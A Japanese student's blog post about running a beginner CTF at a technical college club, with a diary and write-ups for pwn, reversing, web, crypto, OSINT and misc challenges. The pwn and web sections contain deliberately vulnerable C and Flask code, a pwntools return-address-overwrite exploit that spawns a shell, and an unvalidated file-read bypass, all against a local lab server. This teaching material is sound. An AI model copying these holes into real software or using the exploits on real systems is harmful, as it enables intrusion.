bunaiCTF2022開催日記＆WriteUp

# 部内でCTFを開催しました
どうもtrimscashです．
まずは部員の皆さん参加していただきありがとうございました．想定よりも解けていてさすがだなと思います．
部員じゃない人も見て行ってね！

2022年12月22日から23日にかけてローカルで開催した`bunaiCTF`の開催日記とWriteupを書きます．

この`bunaiCTF`は東京高専プロコンゼミ，ロボコンゼミ合同のクリスマスLTで開催したCTFで初心者が初心者を増やすために開催しました．



[東京高専プロコンゼミ① Advent Calendar 2022
](https://adventar.org/calendars/8370)の23日目の記事です．ほかの記事もぜひご覧ください．


![screencapture-192-168-1-80-2022-12-23-19_28_49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/5f21a725-315d-0fba-e2a1-8f292be3276d.png)

![screencapture-192-168-1-80-challenges-2022-12-23-19_27_17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/3693ba6a-1e4c-5ffa-e7b2-c623bebfbce1.png)

スコアボード
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/a2385217-fc91-858c-0780-a013cdadcd6f.png)


### 問題一覧
|問題名|カテゴリ|
|----|----|
|buffer [easy]|pwn
buffer2 [medium]|pwn
callme [hard]|pwn
helloBinary [easy]|rev
xorStep [medium]|rev
unko64 [easy]|web
justXOR [easy]|crypto
RSAwithKEY [hard]|crypto
trimscash [warmup]|osint
myschool [warmup]|osint
myhouse [easy]|osint
omoide [easy]|osint
mt [easy]|osint
IWA [easy]|osint
mytown [medium]|osint
station [hard]|osint
funnyIMG [easy]|misc
synthesis [medium]|misc



# 日記
やろうと思いたったのが12月8日でしたので実に2週間近くでいろいろな準備と調査をしました．
適当に時系列順にやったことを箇条書きします．

- ### 着想
bunaiCTF開催のきっかけ
12月2日に開催された`taskCTF`がきっかけです．`task4233`という方が一人で運営をしていると知り儂もやりたいなぁ．．と思い開催することにしました．
<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">部活のLT会で超簡単なctfを開催することにした</p>&mdash; trimscash (@trims_cash) <a href="https://twitter.com/trims_cash/status/1600798649403211776?ref_src=twsrc%5Etfw">December 8, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

https://qiita.com/trimscash/items/7ceb46e2e1d58126d6df

- ### Pwnableの問題を作る
とりあえずPwnの簡単なバッファオーバーフローの問題を作りました．

- ### githubにリポジトリを作る
https://github.com/trimscash/bunaiCTF2022

- ### Dockerについて調べる
なんとなく使い方だけしか知らない状態だったので，まずより深く理解するため学校の図書館にあった`O'ReillyのDocker本`を読みました．その後なんとなく理解したのでDockerfile等を書き始めました．

- ### xinetdについて調べる
Pwnableの問題ではよくxinetdと呼ばれるものが使われています．xinetdとはポートを監視してポートにアクセスがあったらプログラムを実行してくれるやつです．（）

https://moraprogramming.hateblo.jp/entry/2020/12/21/232357

- ### とりあえず自己流でDockerfileとxinetdをセッティング
大体完成

- ### うまくいかなかったので過去に開催されたCTFやネットの記事をパクる
少々パクったが動かない．．原因は`Image`を作り直していなかったからだった．
```
docker-compose up -d --build #でimageを作り直してくれる．
```
<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">さいあくだよ．．image 消して作り直したら普通に動いた．．悲しいなぁあぁ．．．．ぁぁあぁああ？ぁぁぁ <a href="https://t.co/kY4OXjKwXC">https://t.co/kY4OXjKwXC</a></p>&mdash; trimscash (@trims_cash) <a href="https://twitter.com/trims_cash/status/1603645289063403520?ref_src=twsrc%5Etfw">December 16, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

https://qiita.com/nasuB7373/items/523f1392d87dffb5521d

https://moraprogramming.hateblo.jp/entry/2020/12/21/232357

https://github.com/SECCON/Beginners_CTF_2022

https://github.com/task4233/taskctf21-public


- ### Dockerのコンテナ上で動きPwnableの問題が完成
最高
- ### OSINTの写真を撮るべく散歩する
OSINTように学校の周りをうろついたのだが結局この散歩で使った写真は1枚だけだった．残りは過去の記憶の残り香を使った．（過去の写真を使った．）

<blockquote class="twitter-tweet"><p lang="zxx" dir="ltr"><a href="https://t.co/eD6TUWX0zK">pic.twitter.com/eD6TUWX0zK</a></p>&mdash; trimscash (@trims_cash) <a href="https://twitter.com/trims_cash/status/1603613731971530754?ref_src=twsrc%5Etfw">December 16, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

- ### rev,Cryptoの問題を作る
revやcryptoの問題は鯖を立てる必要がないのでかなり作問が楽だった．

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">いいですね．．これでやってもらえなかったらほんとに悲しい泣く <a href="https://t.co/FCyD6Ps3j2">pic.twitter.com/FCyD6Ps3j2</a></p>&mdash; trimscash (@trims_cash) <a href="https://twitter.com/trims_cash/status/1603794928240562178?ref_src=twsrc%5Etfw">December 16, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

- ### 部室にサーバーを立てる
部室に余っていたパソコンにUbuntuを入れて鯖を立てました．ブラウザから鯖にアクセスできた時はほんとに感動しました．
![IMG_0593.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/6ae9bf30-c4ed-13ad-289f-445ad4b141f4.jpeg)


- ### CTFdの設定をする
CTFのスコアサーバーには`CTFd`を使いました．`CTFd`にはテーマを変更できる機能があり，テーマはgithubで公開されています．今回はそのテーマの中でも[pixo](https://github.com/hmrserver/CTFd-theme-pixo/)と呼ばれるテーマを使わせてもらいました．この時点でもう気分は最高でした．

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">なんかもう満足 <a href="https://t.co/s1WFNhLmoo">pic.twitter.com/s1WFNhLmoo</a></p>&mdash; trimscash (@trims_cash) <a href="https://twitter.com/trims_cash/status/1604010445647810560?ref_src=twsrc%5Etfw">December 17, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

![screencapture-192-168-1-80-2022-12-23-19_28_49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/58e5d3f5-0cd8-8b32-f4cd-b55f1badcdd1.png)


https://github.com/CTFd/CTFd

https://github.com/CTFd/themes


- ### Web問を作る
できれば幅を広くしたかったので以前作った[unko64ウンコーダー](https://qiita.com/trimscash/items/d00bc322d7a2b7cd99d7)を使ってweb問を作ろうと思いました．がweb問はあまり解かないのでunko64をうまく使った問題はできませんでしたが問題はできました．ちなみに`Flask`を使い問題を作りました．めちゃくちゃ便利でした．

- ### 部内でCTFの告知をする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/1b915409-2cd5-d056-88ef-098a6fd6fd8c.png)

- ### CTFが始まる
事前登録してくれた人がいなかったので参加してもらえるか不安でしたが，部室に集まって参加してもらえました．本当にありがたいです．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/2049f0c7-8627-bf84-1cb8-54d72c625155.png)


- ### いくつかの問題に不備がみつかる
`OSINT`の`station`という問題と，`reversing`の`xorStep`に不備が見つかった．最終的になんとかなったがプレイヤーに迷惑をかけてしまった．

- ### LT会で発表
スライドを作って`pwn`の一番簡単な問題`buffer`の解説をした．

https://www.slideshare.net/secret/cpvu34PmHtYndz

- ### CTFが終わる
最終結果は以下のようになった．結構いろいろな人に遊んでもらえて幸せだった．また意外と解かれていたので驚きもあった．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/a2385217-fc91-858c-0780-a013cdadcd6f.png)


- ### 表彰
優勝者には賞品として粗品をあげるとだけ書くだけ書いて当日まで用意していなかったので，開催中に買いに行きました．

賞品の粗品
![IMG_0590.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/58c9ed85-34d0-9fa3-3d59-3a7a6c203c6d.jpeg)

おめでとう！

- ### 日記，writeupを書く（←ｲﾏｺｺ）
writeupはほぼ書いておいたので日記を主に書いている．
参加してくれて本当にありがとうって気持ち．

# writeup
# pwn
## buffer [easy]
>BufferOverFlowってなんだっけってお隣さんのおばさんから聞かれながらファイルと鯖を渡されました．
`nc 192.168.1.80 30002`
添付ファイル:`buffer.zip`

バッファを適当にオーバーフローするだけの簡単な問題．文字列（配列）は上（メモリ低地）から下（メモリ高地）に伸びていくことに注意
https://www.slideshare.net/secret/cpvu34PmHtYndz
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/dd2f724a-1ac6-7392-cac2-4f0b70be72a0.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/b5cc0bf3-ef35-4d66-af2a-2474a1dc3eb5.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/df92c80a-c189-03b4-9b2d-213dcdf45a58.png)

```
bunaiCTF{HE110_6uffeR_0VeR_F10w}
```



## buffer2 [medium]
>おばさん．．また持ってきたよ．．今度はローカル変数がスタックにどう積まれるかがミソぽいけどわからんだって？？
`nc 192.168.1.80 30002`
添付ファイル:`buffer2.zip`

```c:vuln.c
#include <stdio.h>

int main(){
	char a=0;
	char b=0;
	char buf[10];
	printf("What's your name: ");
	fgets(buf,20,stdin);
	if(a=='a'&&b=='b'){
		system("/bin/sh");		
	}
	printf("HAPPY CHRISTMAS!, %s\n",buf);
	return 0;
}
```

ローカル変数がスタックにどのように積まれるか理解していれば簡単な問題．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/241d9f76-3d46-b248-1219-1e640cfa8c11.png)

スタックにはaが先に確保されそのあとbが確保されるので適当に10文字入力したあと"ba"の順で入力するとシェルが取れる．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/da989f46-61d6-9930-ac0d-5e47e51598f5.png)


```
bunaiCTF{St4ck_1S_E4SY_G4ME}
```

## callme [hard]
>わからんことがあったらなんでも聞いてね！
もしもし．．．
ヒント？．．`pwntools`とか`objdump`とか`return address`とか．．もっと聞きたい？
`nc 192.168.1.80 30003`
添付ファイル:`callme.zip`

```c:vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>

__attribute__((constructor)) void setup() {
	alarm(60);
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
}

void callme(){
	system("/bin/sh");
}

int main(){
	char buf[10];
	puts("Hi! Whats up:");
	fgets(buf,199,stdin);
	printf("if you have any question, pls call me! %s!",buf);
	return 0;
}
```
添付ファイルのvuln.cを見るとバッファオーバーフローが存在する．このオーバーフローを利用しmain関数の`return address`をオーバーフローを利用して書き換え，任意の関数を呼ぶ問題．


`checksec`してみると`PIE`が無効なため書き込みたいアドレスをそのまま書くだけで良い．

https://miso-24.hatenablog.com/entry/2019/10/16/021321



呼びたいのは`callme`の`system("/bin/sh")`関数なので`objdump`などでアドレスの確認をする．
```
objdump -d vuln
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/d621d37e-a716-119a-e88d-a0eab3525826.png)

確認したアドレスでリターンアドレスを上書きする．このときこのソルバではcallme関数の`0x4011af`ではなく`0x4011b3`にしていることに注意．これはスタックの先頭を指すレジスタ`rsp`のアラインメントを16byteにそろえるためである．（`rsp`を16の倍数にする）デバッグしながらやるとわかるが`0x4011af`の`push`で`rsp`が16の倍数でなくなる．なので`push`を飛ばしたアドレスを指定している．
以下参考

https://gist.github.com/msymt/4d708d079a66aa45a3e26a1f7587c172

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/7190b4cd-c40c-63b0-c1e0-f9e68ca21ee5.png)

```python:solver.py
#00000000004011b3

from pwn import *
import sys

context.terminal = ['terminator', '-e']

binary_path="./vuln"

if len(sys.argv) < 2:
    io = remote("192.168.1.80",30003) 
elif sys.argv[1]=="l":
    io = process(binary_path)
elif sys.argv[1]=="d":
    io = gdb.debug(binary_path, '''
        break main
    ''')


payload=b"a"*18+b"\xb3\x11\x40\00\00\00\00\00"#p64(0x4011b4)
print(payload)
io.recvuntil(b":")
io.sendline(payload)
io.readline()
io.interactive()
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/8a3711eb-d75c-edb0-4c76-021c47e88113.png)

実行するとシェルが取れた．

```
bunaiCTF{y0u_C4N_0VeRWitE_T4E_RET4DDRESS!!}
```




`pwntools`の使い方は以下

https://qiita.com/8ayac/items/12a3523394080e56ad5a



# rev
## helloBinary [easy]
>おばさんがドアののぞき穴をのぞいている．．外に出て話を聞くと"私はバイナリをのぞいてたんだ！"と意味不明なことを言っている．
バイナリエディタを片手にもったおばさんの目は狂気じみている．
添付ファイル:`chall`


バイナリを見るとフラグがあるやつ．バイナリの見方を知ってほしい．

```
hexedit chall
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/f5cf83c2-23d1-144a-f1b4-a45d26bafb21.png)


```
bunaiCTF{CanYouSeeTheBinaryWorld?}
```

なお`hexedit`はバイナリエディタであるので見るだけなら，`xxd`というコマンドを使ったほうが便利．(教えていただきありがとうございます．)


## xorStep [medium]
>`gdb`をつかおうよの会！
添付ファイル:`chall`

別にgdbじゃなくてもなんでもいいけど．xorで復号していくプログラムを解析する問題だった．

gdbで実行して結果を見るなり，逆コンパイルしてソルバを作ってやるなりする問題．知らないと難しいかもしれないのでmedium.

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/59309f7f-61b0-6b9e-19dd-38401d284c68.png)

xorされたものが`rbp+rax*1-0xf0`あたりに入るようなので一通り実行させた後でブレークしてそこのメモリを見る
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/5cbcf0ef-87bb-0151-ed48-0f6b3a07ae57.png)
ここにブレークポイントを張る．その後メモリを見ると

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/3b4b7764-0796-0ca8-8fdf-123bb4978b99.png)



```
bunaiCTF{H4PPY_X0R_C0DE_RE4DING}
```


これは最初配布していたファイルがある程度の実行するだけでフラグが見えてしまっていた．本当に申し訳なかった．それだけじゃなくLinuxのバージョンが低いと実行できなくて申し訳なかった．

# web
## unko64 [easy]
>trimscash君がくそウェブサイトを作ったって自慢してきたよ．でもなんか余計な機能がついてるなぁ．．
http://192.168.1.80:30010
添付ファイル:`unko64.zip`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/795265c2-0d7d-f127-9fa3-ad5fcc01c479.png)

添付ファイルのなかの`app.py`を見ると
```python:app.py
from flask import Flask, render_template, request, redirect, url_for
from markupsafe import escape

app = Flask(__name__)

@app.route("/")
def main():
    return render_template('index.html')

@app.route("/finder/")
def finder():
    filename = request.args.get('filename')

    if filename == None:
        print("a")
        return redirect(url_for("main"))

    if filename == "flag":
        return "flag not found. can't you find it?LOL"
    try:
        f = open(filename,encoding='utf-8')
    except Exception as e:
        return "ERROR!..maybe file could not found.."

    data = f.readline()
    return f"{data}"


@app.errorhandler(404)
def error_404(error):
    return '''
        <h1>404</h1>
    '''

if __name__ == "__main__":
    app.run(host="0.0.0.0")

```
このファイルの
```python:
@app.route("/finder/")
def finder():
    filename = request.args.get('filename')

    if filename == None:
        print("a")
        return redirect(url_for("main"))

    if filename == "flag":
        return "flag not found. can't you find it?LOL"
    try:
        f = open(filename,encoding='utf-8')
    except Exception as e:
        return "ERROR!..maybe file could not found.."

    data = f.readline()
    return f"{data}"
```
に明らかに足りない`validation`がある．
filenameというクエリパラメータが`flag`の場合のみ煽りメッセージを送ってくるようになっているので，うまいこと避ければフラグが取れる．

```
http://192.168.1.80:30010/finder/?filename=./flag
```
にアクセスすると[unko64エンコード](https://qiita.com/trimscash/items/d00bc322d7a2b7cd99d7)されたものが出てくる


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/2daac031-9466-9b20-5dcd-9e3eecee8fe5.png)

```
巻き糞と大便とトイレとシッコと巻き糞とおねしょと下痢と排泄物とトイレと血便と巻き糞と下痢と糞尿と汚物と放屁とおもらしと牛糞と排泄物とお尻と牛糞と穴と排便とすかしっぺと道糞と馬糞と排便と便秘とトイレと馬糞と汚物とトイレとおもらしとトイレと馬糞と失禁と下痢と糞尿と汚物と目糞とおむつ
```

のでそれをデコードするとフラグが出てくる．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/4c177196-a08f-3b25-92c8-05a2bf666ca9.png)





```
bunaiCTF{FL4SK_1S_USEFUL}
```
# crypto
## justXOR [easy]
>0 XOR 0 = 0
1 XOR 1 = 0
0 XOR 1 = 1
1 XOR 0 = 1
A XOR B = C
C XOR B = A 
xorman参上

```python:chall
f=open("./flag")
flag=f.readline()
f.close()

key="i like cats.. ah? 'i like dogs'?????"

enc=[];

for i, f in enumerate(flag):
    enc.append(ord(f)^ord(key[((i**2)//2)%(i+1)]))

print(enc)
```
```:output
[11, 28, 2, 8, 0, 42, 63, 47, 30, 49, 111, 59, 27, 6, 19, 32, 39, 37, 26, 34, 107, 7, 65, 29, 110, 38, 53, 20, 98]
```

以上の二つのファイルが渡される．outputはフラグをxorしたものなのでchall.pyと同じようにxorしてあげればフラグが出てくる．

```python:solver.py
key="i like cats.. ah? 'i like dogs'?????"

enc=[11, 28, 2, 8, 0, 42, 63, 47, 30, 49, 111, 59, 27, 6, 19, 32, 39, 37, 26, 34, 107, 7, 65, 29, 110, 38, 53, 20, 98]

d=""

for i, e in enumerate(enc):
    d+=chr(e^ord(key[((i**2)//2)%(i+1)]))

print(d)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/4cc8c291-f7ef-9efe-0f39-0d2c250c09c6.png)

```
bunaiCTF{XORxorISLiKEnotNOT}
```

## RSAwithKEY [hard]
>よろしくおねがいしまぁ～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～～す（ﾎﾞｶﾝ!!）

RSAと整数論とライブラリの使い方を1mmも知っていないと難しいので`hard`した．けど意外と解かれてた．
```python:chall.py
from Crypto.Util.number import *

f = open("./flag")
flag=f.readline()
f.close()

flag = bytes_to_long(flag.encode("utf-8"))

e = 65537

p = getPrime(1024)
q = getPrime(1024)
n = p * q

c = pow(flag, e, n)

print(f"e: {e}")
print(f"p: {p}")
print(f"q: {q}")
print(f"c: {c}")
```

```:output.txt
e: 65537
p: 118335363544619856559099191301733904689534592514411936119642447793677207628014649896652537497381432559482286505917858859211525449943761277406948834319864180388344103170965762388021006348353384242845226452169617803942582250058281972833606137676938685167217598870436399867023166631315750196841564791414942812231
q: 134232454997546602123474331834567744772791287417599007266701213384391887183359542378917507770008950548162955404813788615054012617175273872893575324334034981867039007380742068508372136995760028686650920645660614197917877665623938819296997651311702034194390592778591599248947292034774445865324890425517291759627
c: 9502901725625644717595112418929352655987643040101994981044146114233969686725462187083591165359378060395374886741494157837505740521209657508811414073406093530794667130370063744895150512839237726078201544544161448792041920014925737726690362869505287210839312694039103181590257135428404187619155906056459151028610394328836242676563841600289413701309614083455536460196796439701742363410706701532550124554525218189748064623983184547196530109316556451723273298829833077893334774139892129249936878015755217925925225826284661300223787327051224496527252376640121905040043842781460369831061104512348836870083781569618477135860
```

RSAの秘密鍵が完全にわかっている状態．なので`φ(n)=(p-1)(q-1)`を法として`e`のモジュラ逆数(`d`とする)を求めて，暗号化された文字列`c`を`n`を法として`d`乗する．その後その整数をbytes型に直すべく`long_to_bytes`関数を実行すると，フラグがゲットできます．
```python:solver.py
from Crypto.Util.number import *

e = 65537
p = 118335363544619856559099191301733904689534592514411936119642447793677207628014649896652537497381432559482286505917858859211525449943761277406948834319864180388344103170965762388021006348353384242845226452169617803942582250058281972833606137676938685167217598870436399867023166631315750196841564791414942812231
q = 134232454997546602123474331834567744772791287417599007266701213384391887183359542378917507770008950548162955404813788615054012617175273872893575324334034981867039007380742068508372136995760028686650920645660614197917877665623938819296997651311702034194390592778591599248947292034774445865324890425517291759627
c = 9502901725625644717595112418929352655987643040101994981044146114233969686725462187083591165359378060395374886741494157837505740521209657508811414073406093530794667130370063744895150512839237726078201544544161448792041920014925737726690362869505287210839312694039103181590257135428404187619155906056459151028610394328836242676563841600289413701309614083455536460196796439701742363410706701532550124554525218189748064623983184547196530109316556451723273298829833077893334774139892129249936878015755217925925225826284661300223787327051224496527252376640121905040043842781460369831061104512348836870083781569618477135860

n = q*p
phi = (p-1)*(q-1)
d = pow(e,-1,phi)

dec = pow(c,d,n)

flag = long_to_bytes(dec)

print(flag)

```

```
bunaiCTF{RSA_wItH_Se4cREt_Key_1s_E4sy}
```

# osint
## trimscash [warmup]
>trimscashのツイッターをあさってください．．
tirmscash->christmas

```
bunaiCTF{D0_U_h4VE_Tw1tTer_4cc0uNt?}
```
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">bunaiCTF{D0_U_h4VE_Tw1tTer_4cc0uNt?}</p>&mdash; trimscash (@trims_cash) <a href="https://twitter.com/trims_cash/status/1603044078731821056?ref_src=twsrc%5Etfw">December 14, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


ツイートを探るというつまらない作業になっていてほんとに申し訳なかった．けどツイート検索をすれば一瞬だったと思う．

## myschool [warmup]
>おなじみの機構が見えますね．．
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい．
例:`bunaiCTF{123.1234,312.4231}

![myschool.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/cf7778ac-5fd9-4eac-c86a-6ba23cf9f12b.jpeg)

画像を見ると`東京工業高等専門学校`と書いてあるのでその周りを漁ります．部員ならすぐわかるよな??

[GoogleMap](https://www.google.com/maps/@35.6400928,139.2946382,3a,75y,120.43h,98.4t/data=!3m6!1e1!3m4!1swe_SvluaqeHI5IZCBH6_Jg!2e0!7i16384!8i8192)

```
bunaiCTF{35.6400,139.2946}
```

## myhouse [easy]
>これ何住宅ってよばれてる？
例:`bunaiCTF{なんちゃら住宅}`

とりま`GoogleLens`で
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/3057a8f6-64b4-7af7-ec83-43c6ff241381.png)

https://4travel.jp/dm_shisetsu/11302977

```
bunaiCTF{旧下田家住宅}
```

## omoide [easy]
>懐かしい二年前の写真.おばさんと私はこのころ恋人どうしだったっけ．()
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい．
例:`bunaiCTF{123.1234,312.4231}`

![omoide.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/262865a8-4b3c-b389-3509-646f73a195a4.jpeg)

`GoogleLens`でok
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/939a8dc8-eeb5-14f4-637f-c347246fcf3d.png)

https://hinohara-kankou.jp/spot/morinosasayaki/

[GoogleMap](https://www.google.com/maps/@35.7283854,139.1420247,2a,75y,118.74h,26.9t/data=!3m9!1e1!3m7!1sHBMlzST-h5JiWEnlVOoz9g!2e0!7i16384!8i8192!9m2!1b1!2i37)

```
bunaiCTF{35.7283,139.1420}
```


## mt [easy]
>地蔵マスク
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい．
例:`bunaiCTF{123.1234,312.4231}

![mt.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/9657a2af-5bf5-c9f8-0385-0f810584e0e4.jpeg)


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/38cb9baf-b19f-e57b-dbce-5ffbf77b745d.png)

`GoogleLens`で高尾さんだとわかるので山頂にれっつらごー

[GoogleMap](https://www.google.com/maps/@35.6250123,139.2435244,2a,75y,317.71h,70.03t/data=!3m6!1e1!3m4!1s_mXLSUnJ4jggE0tzUnAEtw!2e0!7i13312!8i6656?hl=ja)

```
bunaiCTF{35.6250,139.2435}
```

## IWA [easy]
>指が写ってるよ．．trimscash君．．．
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい．
 例:`bunaiCTF{123.1234,312.4231}`

![IMG_20200317_152211.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/267da101-b9ba-87e8-2faf-9380abf41bd1.jpeg)

とりあえず
[GoogleLens](https://lens.google.com/search?p=AXAp4whi1OQzEeJAy7Ri98cb7hZrS_DEs4SgYjhTyW-1_2wqIy-JQmPLASK3jc53XJYXBKBf3ksAZMs_jR2XvyHK7Bp2HXwhwS7Ccr-eUXor7_VFxrPjqAqHX1hbmcbI8iSso3_x-2Z4KXlM0RDXPdXJNhdyYh0dRB6g_pfeDN0r6LISzsccdL_7vtaBjxsqs007bR0ZA90hHLp4SLsI29l0YhX4UCYaCYoybhVQcPpdwuZokbcPYhMMvqIiSKsWsBbL2SwrIF1URLWvuP4_H1qo8yqQ7q5Impwrdl-7PrLMOPK9mkWVTDhiosLsHgB1h2kyLY-ZmEChduZEdGsCfLOu7g%3D%3D&ep=gsbubb&hl=ja&re=df#lns=W251bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsIkVrY0tKRGMxWVdJd1kyVTFMV0kxTkRndE5HSmtPQzFoTnpGa0xUWXpObUUzTURFelpXVmlOUklmYnpRM2VsUXpjRFYzWkhkWWQwMURZVjlYYUdaVlQxaDFPRU5mTWxWNFp3PT0iXQ==)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/1ed02454-51fd-7ea0-eaa9-ce0b78584040.png)

すると`神戸岩`だとわかるのでそこらを探索．
[GoogleMap](https://www.google.com/maps/@35.7558995,139.1141779,2a,75y,58.79h,114.75t/data=!3m6!1e1!3m4!1sfFw6VnRbKa7M3RnNSNYHGQ!2e0!7i16384!8i8192)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/db1d4d49-cc39-33e7-3c64-395bd275f5b4.png)

```
bunaiCTF{35.7558,139.1141}
```

## mytown [medium]
>居場所特定してみろやｗｗ
写真をとった人がいる座標を切り捨てで小数点第4桁までとって例のように提出して下さい．
例:`bunaiCTF{123.1234,312.4231}`

![mytown.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/4225d09a-f63d-bb61-eaea-8a46631c2a3f.jpeg)

画像を見ると`Yokota Passenger term~~`と書いてある．とりあえずググると大体の場所がわかる．その後[GoogleMap](https://www.google.com/maps/@35.7537664,139.3406264,3a,75y,32.19h,97.99t/data=!3m9!1e1!3m7!1smLsl1RnL3oekp4qg2g2eOw!2e0!7i16384!8i8192!9m2!1b1!2i37)で探索する．

```
bunaiCTF{35.7537,139.3406}
```


## station [hard]
>この駅の駅名を答えてください．
例:`bunaiCTF{東京駅}`

![station.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/558888be-4a2d-bf93-225d-1ccd86d3dfcf.jpeg)

左上の黄色い塔を`GoogleLens`で検索．うまいこと反応するまで大きさを変えたりする．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/c5bfae69-7fa0-8917-1c78-e7ee29a119b2.png)

https://4travel.jp/travelogue/11452346

```
bunaiCTF{高尾駅}
```

これは最初`easy`だったが`GoogleLens`ではうまくやらないと反応しないので途中で`Hard`にした．学校の近くの高尾駅からの景色で分かる人は一瞬で分かる．わかる人は一瞬で分かりわからない人には難しいというあまりよくない問題だった．ただ今回みたいにローカルな開催じゃなければ普通に難しい問題だった．
すみませんでした．

# misc
## funnyIMG [easy]
>miscはその他の分野！この画像に込められた思いがわかるかな？？
添付ファイル`funnyIMG.png`

![funnyIMG.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/e5293469-5738-94a3-f842-728d63dc34f3.png)

下のほうが破損している．怪しいのでバイナリエディタの`hexedit`で開いてみる．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/dc28fdbe-74e0-acaf-bf86-097285a34e01.png)
フラグが見えた．

```
bunaiCTF{binaRYiSFUn}
```

`hexedit`でなく`xxd`を使ったほうが見るだけならパイプ通して検索も簡単にできるので便利．(教えていただきありがとうございます．

## synthesis [medium]
>がっちゃんこ！がっちゃんこ！opencvとの戦いにxormanは勝利することはできるのだろうか．
添付ファイル`a.png`,`b.png`,`c.png`


![a.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/c52d7986-522f-ca1c-21ff-d2cb3a5cd02a.png)

![b.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/036a7023-a817-2a75-3f0f-bfe55efbd642.png)

![c.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/7857725f-432c-f423-2df9-92cb07e4b51a.png)

画像を`opencv`の`bitwise_xor`関数でXORしてやるとフラグが浮き出てくる．

```python:solver.py
import cv2

a = cv2.imread('./a.png')
b = cv2.imread('./b.png')
c = cv2.imread('./c.png')

xored=cv2.bitwise_xor(cv2.bitwise_xor(a,b),c)

cv2.imwrite("flag.png",xored)
```

![flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2730711/f2ea0ba4-9b31-068c-8a03-b9594a00ae76.png)

```
bunaiCTF{XORISSOUSEFUL.....}
```

# さいごに
やはり開催中問題にいくつか不備が見つかりました．初心者とは言え確認をもう一度すればなくせたので申し訳ないです．自分の足りないところや弱さを改めて痛感しました．またこれをグローバルな環境でやっている方々はすごいなと改めて思いました．でも開催するのめちゃくちゃ楽しかったです．だから来年もやりますね！

かなり急いで書いたので誤り等あったら教えてください．
部員はここがわからないとかもっと詳しくとかありましたら気軽に聞いてね!!

参加してくれた部員の皆様．そしてこの稚拙な文を読んでくれた皆様本当にありがとうございました．
